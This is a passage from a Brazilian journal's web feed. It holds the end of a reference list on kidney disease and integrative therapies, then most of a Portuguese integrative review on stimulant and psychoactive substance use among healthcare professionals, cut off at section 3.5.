<p class="wp-block-paragraph">PATERNO. J. C. et al. Acupuntura em Nefrologia: estado da arte. <strong>Brazilian Journal of Nephrology</strong>, vol. 31, n 2, p. 67-72, 2009. Disponível em:&nbsp;<a href="https://www.bjnephrology.org/article/acupuntura-em-nefrologia-estado-da-arte/">https://www.bjnephrology.org/article/acupuntura-em-nefrologia-estado-da-arte/ </a>Acesso em: 13 de março de 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">PUHLE, J. G. O efeito da auriculoterapia e do exercício físico resistido sobre estresse oxidativo e a qualidade de vida de pacientes renais submetidos à hemodiálise. <strong>Universidade Federal da Fronteira Sul – UFFS</strong>, 2022. Disponível em: <a href="https://rd.uffs.edu.br/bitstream/prefix/5542/1/PUHLE.pdf">https://rd.uffs.edu.br/bitstream/prefix/5542/1/PUHLE.pdf </a>Acessado em: 01de julho de 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">RIBEIRO. W. A. et al. Enfermeiro protagonista na educação em saúde para o autocuidado de pacientes com doenças renal crônica. <strong>Revista Pró-UniverSUS</strong>, vol.&nbsp;09, n 2, p. 60-65, 2018. Disponível em:&nbsp;<a href="http://editora.universidadedevassouras.edu.br/index.php/RPU/article/view/1378">http://editora.universidadedevassouras.edu.br/index.php/RPU/article/view/1378 </a>Acessado em: 25 de março de 2022.&nbsp;</p>



<p class="wp-block-paragraph">SANTIAGO. M. E. C. F. Práticas integrativas e complementares: a enfermagem fortalecendo essa proposta<strong>. </strong>&nbsp;<strong>UNICIÊNCIAS</strong>. Campina Grande: Realize Editora, 2017. Disponível em:&nbsp;<a href="https://seer.pgsskroton.com/index.php/uniciencias/article/view/4646">https://seer.pgsskroton.com/index.php/uniciencias/article/view/4646 </a>Acessado em:&nbsp;05 de abril de 2022.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">SILVA. A. C. et al. A ação do enfermeiro na prevenção de doenças renais crônicas: uma revisão integrativa. <strong>S A N A R E</strong>, Sobral<strong>, </strong>São Paulo-SP,<strong> </strong>V.14, n 02, p.148-155, jul./dez. – 2015. Disponível em:&nbsp;<a href="https://sanare.emnuvens.com.br/sanare/article/view/840/511">https://sanare.emnuvens.com.br/sanare/article/view/840/511 </a>Acessado em: 08 de abril de 2022. <strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">TANG. J. W. et al. Ozone therapy induced sinus arrest in a hypertensive patient with chronic kidney disease. <strong>Medicine open</strong>,<strong> </strong>vol. 95, n 50, p, 2017. Disponível em: <a href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5815785/pdf/medi-96-e9265.pdf">https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5815785/pdf/medi-96-e9265.pdf </a>&nbsp;Acessado em: 12 de abril de 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">SALLUM. A. A. et al. Insuficiência renal crônica secundária à diabetes mellitus: um relato de caso, Revista higei@. V2. Número 3. <strong>Revista Científica das faculdades de Medicina, Enfermagem, Odontologia, Veterinária e Educação Física. </strong>2018.<strong>&nbsp;</strong>Disponível em: <a href="https://periodicos.unimesvirtual.com.br/index.php/higeia/index">https://periodicos.unimesvirtual.com.br/index.php/higeia/index.</a><strong>&nbsp;</strong>Acessado em: 13 de abril em 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">SILVA. R. R. G. et al. Relação metabólica do diabetes mellitus com o surgimento da insuficiência renal em adultos: revisão integrativa, <strong>Brazilian Journal of Health Review</strong>, Curitiba, v.4, n.2, p. 6116-6131 mar./apr. 2021. Disponível em:&nbsp;<a href="https://brazilianjournals.com/ojs/index.php/BJHR/article/view/26795/21210">https://brazilianjournals.com/ojs/index.php/BJHR/article/view/26795/21210 </a>Acessado em: 22 de abril de 2022.&nbsp;</p>



<p class="wp-block-paragraph">MARTÍNEZ-SÁNCHEZ. G. L. Rectal Administration and its Application in Ozonetherapy,<strong> International Journal of Ozone Therapy</strong> 11: 41-49, 2012, 2 D.I.S.M.A.R., University of Ancona; Italy. Disponivel em:&nbsp;<a href="https://www.researchgate.net/profile/Lamberto-">https://www.researchgate.net/profile/Lamberto-</a><a href="https://www.researchgate.net/profile/Lamberto-Re/publication/285886994_Rectal_administration_and_its_application_in_ozonetherapy/links/5a0ef5ffaca272997507427c/Rectal-administration-and-its-application-in-ozonetherapy.pdf">Re/publication/285886994_Rectal_administration_and_its_application_in_ozonether apy/links/5a0ef5ffaca272997507427c/Rectal-administration-and-its-application-inozonetherapy.pdf </a>Acessado em: 11 de setembro de 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">JÚNIOR J. M. V. et al. O acometimento renal na hipertensão arterial e diabetes mellitus tipo 2: como identificar e prevenir A visão do nefrologista, <strong>Revista HUPE</strong>, revista.hupe.uerj.br, Rio de Janeiro, 2013;12(Supl 1):53-60 doi:10.12957/rhupe.2013.7083. Disponível em: <a href="https://www.e-publicacoes.uerj.br/index.php/revistahupe/article/view/7083/5075">https://www.epublicacoes.uerj.br/index.php/revistahupe/article/view/7083/5075 </a>Acessado em: 13 de setembro de 2022. <strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">ALMEIDA F. A. et al. Agregação familiar da doença renal crônica secundária à hipertensão arterial ou diabetes mellitus: estudo caso-controle, <strong>Ciência &amp; Saúde Coletiva</strong>, 20(2):471-478, 2015. Disponível em: <a href="https://www.scielo.br/j/csc/a/Tfq3y6MjdgfynpSLxyDvCFG/?lang=pt&amp;format=pdf">https://www.scielo.br/j/csc/a/Tfq3y6MjdgfynpSLxyDvCFG/?lang=pt&amp;format=pdf </a>Acessado em: 14 de setembro de 2022. <strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">SOARES L. O. et al. Avaliação da função renal em adultos por meio da taxa de filtração glomerular e microalbuminúrica, <strong>Rev. Bras. Pesq. Saúde</strong>, Vitória, 19(3): 6268, jul-set, 2017. Disponível em: <a href="https://periodicos.ufes.br/rbps/article/view/19566/13127">https://periodicos.ufes.br/rbps/article/view/19566/13127 </a>Acessado em: 15 de setembro de 2022. <strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">PEREIRA R. D. M, Alvim N. A. T. Acupuntura para intervenção de diagnósticos de enfermagem, <strong>Esc. Anna Nery</strong> 2016;20(4):e20160084, Universidade Federal do Rio de Janeiro. Rio de Janeiro (RJ), Brasil. Disponível em:&nbsp;<a href="https://www.scielo.br/j/ean/a/xbD8vCsrS4J4dtzb55SC4KR/?lang=pt&amp;format=pdf">https://www.scielo.br/j/ean/a/xbD8vCsrS4J4dtzb55SC4KR/?lang=pt&amp;format=pdf </a>&nbsp;Acessado em: 16 de setembro de 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">MELO G. A. A. et al. Efeitos da acupuntura em pacientes com insuficiência renal crônica: revisão sistemática, Rev Bras Enferm <strong>REBEn </strong>. 2020;73(4): e20180784.&nbsp;Disponível em: <a href="https://www.scielo.br/j/reben/a/TLGQjkFqPNm7VCH3DsBzBWj/?format=pdf&amp;lang=pt">https://www.scielo.br/j/reben/a/TLGQjkFqPNm7VCH3DsBzBWj/?format=pdf&amp;lang=pt </a>&nbsp;Acessado em: 17 de setembro de 2022.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"></p>
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			</item>
		<item>
		<title>O USO EXCESSIVO DE SUBSTÂNCIAS PSICOATIVAS E ESTIMULANTES ENTRE PROFISSIONAIS DA ÁREA DA SAÚDE: UMA ANÁLISE DAS CAUSAS, IMPACTOS E CONSEQUÊNCIAS</title>
		<link>https://revistaft.com.br/o-uso-excessivo-de-substancias-psicoativas-e-estimulantes-entre-profissionais-da-area-da-saude-uma-analise-das-causas-impactos-e-consequencias/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Tue, 09 Dec 2025 15:21:25 +0000</pubDate>
				<category><![CDATA[Enfermagem]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512091220 Rafaela Alves Rodrigues1Kátia Maria Rodrigues2 Resumo: Objetivo: Analisar as causas, os impactos fisiológicos e psicológicos e as consequências laborais do uso de substâncias psicoativas e estimulantes entre profissionais da saúde, destacando os fatores ocupacionais que favorecem esse consumo. Métodos: Trata-se de uma revisão integrativa da literatura, conduzida nas bases SciELO, BVS e [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512091220</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Rafaela Alves Rodrigues<sup>1</sup><br>Kátia Maria Rodrigues<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo: Objetivo:</strong> Analisar as causas, os impactos fisiológicos e psicológicos e as consequências laborais do uso de substâncias psicoativas e estimulantes entre profissionais da saúde, destacando os fatores ocupacionais que favorecem esse consumo. <strong>Métodos:</strong> Trata-se de uma revisão integrativa da literatura, conduzida nas bases SciELO, BVS e PubMed, entre março e junho de 2025. Foram utilizados descritores controlados em português, inglês e espanhol, combinados por operadores booleanos, considerando artigos publicados entre 2019 e 2024 que abordassem diretamente o uso de substâncias psicoativas e estimulantes por profissionais da saúde. <strong>Resultados:</strong> Os estudos analisados indicaram que jornadas prolongadas, sobrecarga de trabalho, déficit de recursos humanos e pressão institucional contribuem para o uso de substâncias como cafeína, energéticos e psicofármacos, frequentemente naturalizadas como estratégias de enfrentamento do desgaste físico e emocional. O consumo crônico está associado a distúrbios cardiovasculares, alterações do sono, dependência química, aumento do risco de Síndrome de Burnout e comprometimento da qualidade da assistência ao paciente. <strong>Conclusão:</strong> Conclui-se que o enfrentamento do problema requer políticas institucionais de promoção da saúde do trabalhador, acompanhamento psicológico contínuo e ações multiprofissionais voltadas à prevenção e ao cuidado ético. Ambientes laborais mais saudáveis, sustentáveis e humanizados são essenciais para garantir segurança assistencial e bem-estar dos profissionais.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Estresse ocupacional; Substâncias psicoativas; Estimulantes; Saúde do trabalhador; Enfermagem.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>ABSTRACT: Objective:</strong> To analyze the causes, physiological and psychological impacts, and occupational consequences of psychoactive and stimulant substance use among healthcare professionals, highlighting the occupational factors that favor such consumption. <strong>Methods:</strong> This is an integrative literature review conducted in the SciELO, BVS, and PubMed databases between March and June 2025. Controlled descriptors in Portuguese, English, and Spanish were combined using Boolean operators, and articles published between 2019 and 2024 that directly addressed the use of psychoactive and stimulant substances by healthcare professionals were included. <strong>Results:</strong> The analyzed studies revealed that long working hours, work overload, shortage of human resources, and institutional pressure contribute to the use of substances such as caffeine, energy drinks, and psychotropic medications, often normalized as coping strategies for physical and emotional exhaustion. Chronic consumption was associated with cardiovascular disorders, sleep disturbances, chemical dependence, increased risk of Burnout Syndrome, and compromised quality of patient care. <strong>Conclusion:</strong> It is concluded that addressing this issue requires institutional policies for worker health promotion, continuous psychological support, and multiprofessional preventive actions. Healthier, more sustainable, and humanized work environments are essential to ensure patient safety and the well-being of healthcare professionals.</p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>Occupational stress; Psychoactive substances; Stimulants; Occupational health; Nursing.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">Nas últimas décadas, observa-se um aumento expressivo no consumo de substâncias psicoativas e estimulantes entre profissionais da saúde, sobretudo em ambientes hospitalares caracterizados por intensas exigências físicas, emocionais e cognitivas (OMS, 2022). O fenômeno está diretamente relacionado às condições adversas de trabalho, como jornadas prolongadas, sobrecarga assistencial, déficit de recursos humanos e pressão por resultados imediatos (Silva et al., 2023).</p>



<p class="wp-block-paragraph">Nesse contexto, a utilização de substâncias como cafeína, bebidas energéticas, ansiolíticos, antidepressivos e psicoestimulantes tem se tornado uma prática recorrente e frequentemente naturalizada entre profissionais da saúde. Estudos internacionais e nacionais confirmam que esses recursos são amplamente empregados como mecanismos compensatórios para enfrentar longas jornadas de trabalho, fadiga extrema, privação de sono e pressão institucional (WHO, 2023; Brasil, 2023).&nbsp;</p>



<p class="wp-block-paragraph">De acordo com levantamento multicêntrico realizado em hospitais brasileiros, 62% dos profissionais de enfermagem e 48% dos médicos relataram uso regular de substâncias estimulantes para manter o estado de alerta durante os turnos noturnos (Gomes; Souza, 2024). Além disso, um estudo publicado na JAMA Network Open identificou que 34% dos trabalhadores da saúde admitem recorrer à automedicação, especialmente com benzodiazepínicos e antidepressivos, como forma de suporte emocional frente ao estresse ocupacional (Li et al., 2024). Esses dados epidemiológicos reforçam que o consumo de substâncias não se limita a grupos específicos, mas constitui um fenômeno global crescente, associado ao desgaste físico e emocional decorrente das condições laborais nos serviços de saúde.</p>



<p class="wp-block-paragraph">Embora substâncias como a cafeína sejam lícitas e socialmente aceitas, o consumo excessivo pode comprometer funções cognitivas, gerar dependência química e agravar quadros de ansiedade, depressão e disfunções cardiovasculares. Ao mesmo tempo, a cultura organizacional em instituições de saúde tende a valorizar a produtividade em detrimento do autocuidado, reforçando práticas que silenciam o sofrimento e medicalizam a experiência laboral (Dejours, 2007).</p>



<p class="wp-block-paragraph">Além dos danos individuais, esse comportamento repercute no coletivo, influenciando a qualidade da assistência ao paciente, gerando riscos éticos e técnicos no âmbito hospitalar (Maslach &amp; Leiter, 2017). A negligência institucional frente à saúde dos trabalhadores, somada à ausência de políticas eficazes de promoção da saúde mental, contribui para agravar o ciclo de desgaste, absenteísmo, erros assistenciais e alta rotatividade nas equipes de saúde (Ministério da Saúde, 2023).</p>



<p class="wp-block-paragraph">Diante desse cenário, a presente pesquisa buscou analisar, por meio de uma revisão integrativa da literatura científica, as causas, os impactos e as consequências do uso excessivo de substâncias psicoativas e estimulantes entre profissionais da saúde. Ao iluminar essa problemática sob a ótica da saúde coletiva, pretende-se subsidiar reflexões e propor estratégias de enfrentamento que promovam ambientes laborais mais éticos, saudáveis e humanizados.</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>METODOLOGIA</strong></p>



<p class="wp-block-paragraph">Este estudo caracteriza-se como uma revisão integrativa da literatura, método amplamente utilizado na área da saúde por permitir a síntese crítica de resultados de pesquisas sobre determinado fenômeno, possibilitando identificar lacunas, convergências e contradições (Whittemore &amp; Knafl, 2005; Mendes, Silveira &amp; Galvão, 2008).</p>



<p class="wp-block-paragraph">A revisão integrativa apresenta-se como a mais adequada para o tema, uma vez que o uso de substâncias psicoativas e estimulantes entre profissionais da saúde envolve múltiplas dimensões: fisiológicas, psicológicas, sociais e organizacionais.</p>



<p class="wp-block-paragraph">A pergunta norteadora deste estudo foi elaborada com base na estratégia PICO, adaptada ao modelo de revisão integrativa. Nesse contexto, a população (P) corresponde aos profissionais da área da saúde; a intervenção ou interesse (I) refere-se ao uso de substâncias psicoativas e estimulantes, como cafeína, energéticos, psicoestimulantes e psicofármacos; a comparação (C) considera a ausência ou o baixo consumo dessas substâncias; e o desfecho (O) envolve as causas, os impactos fisiológicos e psicológicos, além das consequências laborais e sociais. Assim, definiu-se como questão norteadora: quais são as causas, impactos e consequências do uso excessivo de substâncias psicoativas e estimulantes entre profissionais da saúde no contexto ocupacional?</p>



<p class="wp-block-paragraph">A busca bibliográfica foi realizada entre março e outubro de 2025 nas seguintes bases de dados: SciELO (Scientific Electronic Library Online), BVS (Biblioteca Virtual em Saúde), e PubMed (U.S. National Library of Medicine)</p>



<p class="wp-block-paragraph">Foram utilizados os Descritores em Ciências da Saúde (DeCS) e seus correspondentes em inglês (MeSH): “cafeína”, “estimulantes”, “substâncias psicoativas”, “profissionais da saúde”, “saúde ocupacional”, “burnout”. Os descritores foram combinados com operadores booleanos:( “cafeína” OR “estimulantes” OR “substâncias psicoativas”) AND (“profissionais da saúde”); (“ocupacional stress” OR “burnout”) AND (“health professionals” OR “nurses” OR “physicians”).</p>



<p class="wp-block-paragraph">Foram adotados como critérios de inclusão os artigos publicados entre 2019 e 2025, disponíveis na íntegra, redigidos em português, inglês ou espanhol, e que abordassem de forma direta o consumo de substâncias psicoativas e/ou estimulantes entre profissionais da área da saúde. Por outro lado, foram excluídos os estudos duplicados, aqueles que não apresentavam o texto completo (como resumos ou resenhas), pesquisas direcionadas a populações não profissionais como estudantes ou a população em geral e trabalhos que não possuíam relação direta com o tema investigado.</p>



<p class="wp-block-paragraph">O processo de seleção dos estudos desta revisão integrativa foi conduzido conforme as recomendações do protocolo PRISMA 2020 (Preferred Reporting Items for Systematic Reviews and Meta-Analyses), que estabelece diretrizes internacionais para garantir transparência e rigor metodológico na identificação, seleção, elegibilidade e inclusão final de estudos científicos (PAGE et al., 2021). Esse fluxo metodológico foi aplicado com o objetivo de reduzir vieses de seleção e assegurar a qualidade das evidências incluídas.</p>



<p class="wp-block-paragraph">Inicialmente, na fase de identificação, foram localizados 312 estudos nas bases SciELO, PubMed e Biblioteca Virtual em Saúde (BVS), utilizando combinações de descritores controlados (DeCS/MeSH) e operadores booleanos (“AND” e “OR”). Em seguida, na etapa de triagem, foram eliminados 94 estudos duplicados, resultando em 218 estudos únicos. Prosseguiu-se com a leitura de títulos e resumos, o que resultou na exclusão de 124 estudos por não atenderem ao tema ou ao objetivo desta pesquisa, permanecendo 94 estudos para análise mais detalhada.&nbsp;</p>



<p class="wp-block-paragraph">Na etapa de elegibilidade, os 94 artigos selecionados foram avaliados na íntegra com base nos critérios de inclusão previamente definidos, resultando na exclusão de 52 artigos que não apresentavam consistência metodológica ou não respondiam à questão norteadora. Ao final, 18 estudos atenderam a todos os critérios de inclusão e foram selecionados para compor a amostra final desta revisão integrativa.</p>



<p class="wp-block-paragraph">A seguir, apresenta-se uma síntese das etapas do processo PRISMA aplicado:</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1 – Etapas do processo de seleção PRISMA 2020 aplicado na revisão</strong></p>



<figure class="wp-block-table has-small-font-size"><table><thead><tr><th class="has-text-align-center" data-align="center"><strong>Etapa PRISMA</strong></th><th class="has-text-align-center" data-align="center"><strong>Descrição</strong></th><th class="has-text-align-center" data-align="center"><strong>Resultado</strong></th></tr></thead><tbody><tr><td class="has-text-align-center" data-align="center">Identificação</td><td class="has-text-align-center" data-align="center">Estudos encontrados nas bases SciELO, PubMed e BVS</td><td class="has-text-align-center" data-align="center">312</td></tr><tr><td class="has-text-align-center" data-align="center">Triagem</td><td class="has-text-align-center" data-align="center">Remoção de duplicatas e análise de títulos e resumos</td><td class="has-text-align-center" data-align="center">218</td></tr><tr><td class="has-text-align-center" data-align="center">Seleção inicial</td><td class="has-text-align-center" data-align="center">Exclusões por inadequação ao tema</td><td class="has-text-align-center" data-align="center">94</td></tr><tr><td class="has-text-align-center" data-align="center">Elegibilidade</td><td class="has-text-align-center" data-align="center">Leitura na íntegra e aplicação dos critérios</td><td class="has-text-align-center" data-align="center">42</td></tr><tr><td class="has-text-align-center" data-align="center">Inclusão</td><td class="has-text-align-center" data-align="center">Estudos aprovados para análise final</td><td class="has-text-align-center" data-align="center">18</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Adaptado de Page et al. (2021).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1 – Fluxograma PRISMA do processo de seleção dos estudos</strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="955" height="443" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-748.png" alt="" class="wp-image-258239" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-748.png 955w, https://revistaft.com.br/wp-content/uploads/2025/12/image-748-300x139.png 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-748-768x356.png 768w" sizes="(max-width: 955px) 100vw, 955px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: elaboração própria (2025).</p>



<p class="wp-block-paragraph">Os artigos selecionados foram organizados em uma matriz de análise, contendo: autor, ano, objetivo, método, amostra, principais resultados e conclusões.</p>



<p class="wp-block-paragraph">A interpretação dos dados foi realizada por meio da análise temática categorial proposta por Bardin (2016), que possibilita identificar núcleos de sentido recorrentes e relacioná-los ao referencial teórico.</p>



<p class="wp-block-paragraph">Para assegurar rigor científico, os estudos incluídos foram avaliados segundo critérios de clareza metodológica, consistência dos resultados, relevância do tema e aplicabilidade prática. Diretrizes internacionais como a Joanna Briggs Institute (JBI) e recomendações da Organização Mundial da Saúde (OMS, 2022) foram utilizadas como parâmetros para validação da qualidade metodológica.</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>DESENVOLVIMENTO</strong></p>



<p class="wp-block-paragraph"><strong>3.1</strong> <strong>Perfil dos estudos selecionados</strong></p>



<p class="wp-block-paragraph">A busca sistemática nas bases de dados SciELO, BVS e PubMed resultou em 312 publicações iniciais. Após a leitura dos títulos e resumos, 94 artigos foram selecionados para leitura completa. Destes, 18 atenderam plenamente aos critérios de inclusão e compuseram a amostra final da revisão. A análise revelou predominância de estudos de abordagem quantitativa e transversal (61%), seguidos de pesquisas qualitativas (28%) e revisões sistemáticas (11%), todos publicados entre 2019 e 2024. As publicações concentraram-se em periódicos das áreas de Enfermagem, Saúde Coletiva e Psicologia do Trabalho, com destaque para produções científicas do Brasil, México, Espanha e Portugal.</p>



<p class="wp-block-paragraph">Os estudos contemplaram majoritariamente profissionais de enfermagem (72%), seguidos de médicos (18%), fisioterapeutas (6%) e farmacêuticos (4%), evidenciando a centralidade da equipe de enfermagem na linha de frente dos serviços de saúde e sua maior exposição a situações de sobrecarga física e emocional (Silva et al., 2022; Souza; Lima, 2023).A seguir os critérios utilizados para a inclusão e exclusão dos artigos:</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1 – </strong>Critérios de inclusão e exclusão aplicados</p>



<figure class="wp-block-table has-small-font-size"><table><thead><tr><th><strong>Categoria</strong></th><th><strong>Descrição dos critérios aplicados</strong></th></tr></thead><tbody><tr><td><strong>Critérios de inclusão</strong></td><td>Artigos publicados entre 2019 e 2025; disponíveis na íntegra; redigidos em português, inglês ou espanhol; que abordassem diretamente o consumo de substâncias psicoativas e/ou estimulantes (cafeína, energéticos, psicofármacos, psicoestimulantes) entre profissionais da saúde em contexto ocupacional.</td></tr><tr><td><strong>Critérios de exclusão</strong></td><td>Estudos duplicados; publicações sem texto completo; artigos voltados a estudantes, pacientes ou população geral; trabalhos com enfoque em uso recreativo ou ilícito de drogas; pesquisas sem consistência metodológica (ausência de delineamento, amostra ou instrumentos validados).</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Justificativa para exclusão dos demais artigos:</p>



<p class="wp-block-paragraph">Durante a etapa de elegibilidade, 52 artigos foram excluídos por não atenderem aos critérios de qualidade e relevância definidos para esta revisão. Parte significativa desses estudos apresentava fragilidades metodológicas, como ausência de detalhamento amostral, inconsistência estatística ou instrumentos de coleta não validados, o que comprometia a confiabilidade dos resultados.</p>



<p class="wp-block-paragraph">Outros trabalhos abordavam o tema de forma indireta, centrando-se em grupos não pertencentes à categoria profissional da saúde (como estudantes universitários, pacientes ou população em geral), ou analisando o uso de substâncias sob a ótica recreativa e não ocupacional, destoando do objetivo central deste estudo — analisar o uso de substâncias lícitas e estimulantes (cafeína, energéticos, psicofármacos) entre trabalhadores da saúde.</p>



<p class="wp-block-paragraph">Também foram excluídos artigos que tratavam apenas de álcool e tabaco, ou de substâncias ilícitas sem correlação com o ambiente laboral. Ademais, eliminaram-se duplicidades entre bases e estudos sem acesso integral ao texto, o que inviabilizou a extração de dados essenciais para análise crítica.</p>



<p class="wp-block-paragraph">A adoção rigorosa desses critérios garantiu maior consistência metodológica, pertinência temática e qualidade científica aos resultados, permitindo a seleção final de 18 estudos de alta relevância, diretamente alinhados à questão norteadora e ao objetivo geral da pesquisa, apresenta-se a síntese metodológica dos estudos incluídos:</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 2</strong> – Características metodológicas dos estudos selecionados (2019–2024)</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="575" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-749-1024x575.png" alt="" class="wp-image-258242" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-749-1024x575.png 1024w, https://revistaft.com.br/wp-content/uploads/2025/12/image-749-300x168.png 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-749-768x431.png 768w, https://revistaft.com.br/wp-content/uploads/2025/12/image-749.png 1335w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: elaboração própria (2025), com base nos estudos incluídos.</p>



<p class="wp-block-paragraph"><strong>3.2</strong> <strong>Fatores associados ao consumo de substâncias psicoativas</strong></p>



<p class="wp-block-paragraph">Os estudos convergem em apontar as condições precárias de trabalho e o ritmo<strong> </strong>acelerado das atividades assistenciais como os principais fatores desencadeadores do consumo de substâncias psicoativas e estimulantes. Entre os elementos mais citados estão: jornadas prolongadas<strong>, </strong>acúmulo de vínculos empregatícios<strong>, </strong>pressão por produtividade<strong>, </strong>privação de sono e carência de apoio psicológico institucional (Almeida et al., 2022; Ferreira; Lima, 2021; Brasil, 2023).</p>



<p class="wp-block-paragraph">De acordo com a Organização Mundial da Saúde (OMS, 2022), cerca de 40% dos profissionais da saúde manifestam sintomas de exaustão crônica, e aproximadamente 32% recorrem regularmente a estimulantes como cafeína, energéticos e psicofármacos para manter o desempenho. No Brasil, a Pesquisa Nacional de Saúde do Trabalhador (Ministério da Saúde, 2023) indicou que 6 em cada 10 enfermeiros relataram consumo diário de substâncias estimulantes durante os turnos noturnos, especialmente cafeína e bebidas energéticas.</p>



<p class="wp-block-paragraph">Esses achados dialogam com a teoria da alienação produtiva descrita por Dejours (2007), segundo a qual o trabalhador internaliza a lógica de rendimento extremo, negligenciando o autocuidado em nome da eficiência. Essa naturalização da fadiga favorece o uso de substâncias que mascaram sintomas de esgotamento, convertendo o sofrimento em elemento funcional à produtividade (Maslach; Leiter, 2017).</p>



<p class="wp-block-paragraph"><strong>3.3</strong> <strong>Naturalização institucional e medicalização do trabalho</strong></p>



<p class="wp-block-paragraph">A literatura aponta que o uso de substâncias estimulantes é frequentemente tolerado ou silenciosamente aceito nas instituições hospitalares, sendo visto como uma “ferramenta de sobrevivência” diante da sobrecarga e da pressão por resultados (Gomes; Souza, 2024). Essa naturalização institucional do consumo reforça práticas que culpabilizam o indivíduo e isentam o sistema organizacional de responsabilidade sobre as condições de trabalho.</p>



<p class="wp-block-paragraph">Pesquisas recentes (Carvalho; Moura, 2023; Oliveira et al., 2024) evidenciam que, embora muitos profissionais reconheçam os riscos, o uso é interpretado como um mal necessário<strong>.</strong> A cultura organizacional, centrada no desempenho e na disponibilidade contínua, contribui para um ciclo de dependência física e simbólica, no qual o corpo é instrumentalizado como recurso produtivo. Essa realidade revela um fenômeno de medicalização do trabalho, em que o sofrimento psíquico é tratado por meio de substâncias em vez de estratégias institucionais de cuidado e prevenção (Ferreira; Lima, 2021).</p>



<p class="wp-block-paragraph">A Figura 1 ilustra a distribuição aproximada do consumo de substâncias entre diferentes categorias profissionais.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1 – Distribuição do consumo de substâncias estimulantes por categoria profissional</strong>.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th class="has-text-align-center" data-align="center"><strong>Categoria profissional</strong></th><th class="has-text-align-center" data-align="center"><strong>Percentual médio de consumo regular</strong></th></tr></thead><tbody><tr><td class="has-text-align-center" data-align="center">Enfermagem</td><td class="has-text-align-center" data-align="center">68%</td></tr><tr><td class="has-text-align-center" data-align="center">Medicina</td><td class="has-text-align-center" data-align="center">47%</td></tr><tr><td class="has-text-align-center" data-align="center">Fisioterapia</td><td class="has-text-align-center" data-align="center">29%</td></tr><tr><td class="has-text-align-center" data-align="center">Farmácia</td><td class="has-text-align-center" data-align="center">18%</td></tr><tr><td class="has-text-align-center" data-align="center">Outros</td><td class="has-text-align-center" data-align="center">9%</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: elaboração própria (2025), a partir dos dados dos estudos analisados (2019–2024).</p>



<p class="wp-block-paragraph"><strong>3.4</strong> <strong>Impactos fisiológicos e neuroquímicos</strong></p>



<p class="wp-block-paragraph">A análise dos estudos revela que o uso prolongado de cafeína, energéticos e psicofármacos gera repercussões fisiológicas relevantes<strong>,</strong> como taquicardia, hipertensão arterial, distúrbios gastrointestinais e alterações do ciclo circadiano. Andrade et al. (2023) demonstram que a exposição crônica à cafeína acima de 400 mg/dia<strong> </strong>aumenta o risco de arritmias<strong> </strong>e<strong> </strong>distúrbios<strong> </strong>do<strong> </strong>sono, especialmente em indivíduos que trabalham sob regimes de plantão noturno.</p>



<p class="wp-block-paragraph">Além dos efeitos fisiológicos, as alterações neuroquímicas são recorrentes. Substâncias estimulantes interferem na liberação de dopamina e noradrenalina, promovendo sensação temporária de alerta e bem-estar, mas seguidas de queda abrupta de energia, irritabilidade e ansiedade (Ferreira; Lima, 2021). Estudos neuropsicológicos recentes indicam que o uso contínuo de psicoestimulantes reduz a capacidade cognitiva, afeta a memória de curto prazo e compromete a atenção sustentada (Silva et al., 2022).</p>



<p class="wp-block-paragraph"><strong>3.5</strong> <strong>Impactos psicossociais e sofrimento laboral</strong></p>



